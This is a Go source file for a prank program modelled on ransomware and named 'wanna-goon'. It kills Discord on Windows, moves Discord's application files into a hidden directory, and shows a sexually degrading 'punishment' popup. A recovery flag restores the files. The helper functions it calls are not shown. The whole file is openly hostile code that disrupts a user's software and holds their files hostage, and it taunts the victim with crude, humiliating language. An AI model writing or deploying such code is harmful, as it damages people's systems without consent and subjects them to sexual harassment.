64 lines
2.2 KiB
Go
64 lines
2.2 KiB
Go
package main
|
|
|
|
import (
|
|
"flag"
|
|
"fmt"
|
|
"os"
|
|
"time"
|
|
|
|
"github.com/Merith-TK/utils/debug"
|
|
"github.com/ncruces/zenity"
|
|
)
|
|
|
|
var recovery bool // Flag to determine if the program should restore files
|
|
|
|
// init initializes the command-line flags.
|
|
func init() {
|
|
flag.BoolVar(&recovery, "recovery", false, "Undo Fuckery") // Define a flag for recovery mode
|
|
}
|
|
|
|
// main is the entry point of the program.
|
|
func main() {
|
|
flag.Parse() // Parse the command-line flags
|
|
|
|
// If recovery mode is enabled, restore files and notify the user
|
|
if recovery {
|
|
restoreFiles() // Restore files from the `.wanna-goon` directory
|
|
zenity.Info("You have been a good goon-slut and earned your files back!") // Show a success message
|
|
return
|
|
}
|
|
|
|
// Get the user's profile directory from the environment variable
|
|
userdata := os.Getenv("USERPROFILE")
|
|
debug.Print(fmt.Sprintf("USERPROFILE: %s", userdata)) // Log the user's profile directory
|
|
|
|
// Get the local application data directory from the environment variable
|
|
localAppData := os.Getenv("LOCALAPPDATA")
|
|
debug.Print(fmt.Sprintf("LOCALAPPDATA: %s", localAppData)) // Log the local application data directory
|
|
|
|
// Define a map of programs and their corresponding directories to "goon"
|
|
programFiles := map[string]string{
|
|
"Discord.exe": fmt.Sprintf("%s\\Discord", localAppData), // Example: Discord executable and its directory
|
|
}
|
|
|
|
debug.Println(programFiles) // Log the program files map
|
|
|
|
// Iterate over the programs and their directories
|
|
for program, files := range programFiles {
|
|
// Kill the running program
|
|
err := goonProgram(program)
|
|
if err != nil {
|
|
debug.Print(err) // Log any errors that occur while killing the program
|
|
}
|
|
time.Sleep(5 * time.Second) // Wait for 5 seconds to ensure the program is fully terminated
|
|
|
|
// Move the program's files to the `.wanna-goon` directory
|
|
err = goonFiles(files)
|
|
if err != nil {
|
|
debug.Print(err) // Log any errors that occur while moving the files
|
|
}
|
|
}
|
|
|
|
// Notify the user that they have been "punished"
|
|
zenity.Warning("You have been a naughty gooner, face the punishment like a good goon-slut")
|
|
}
|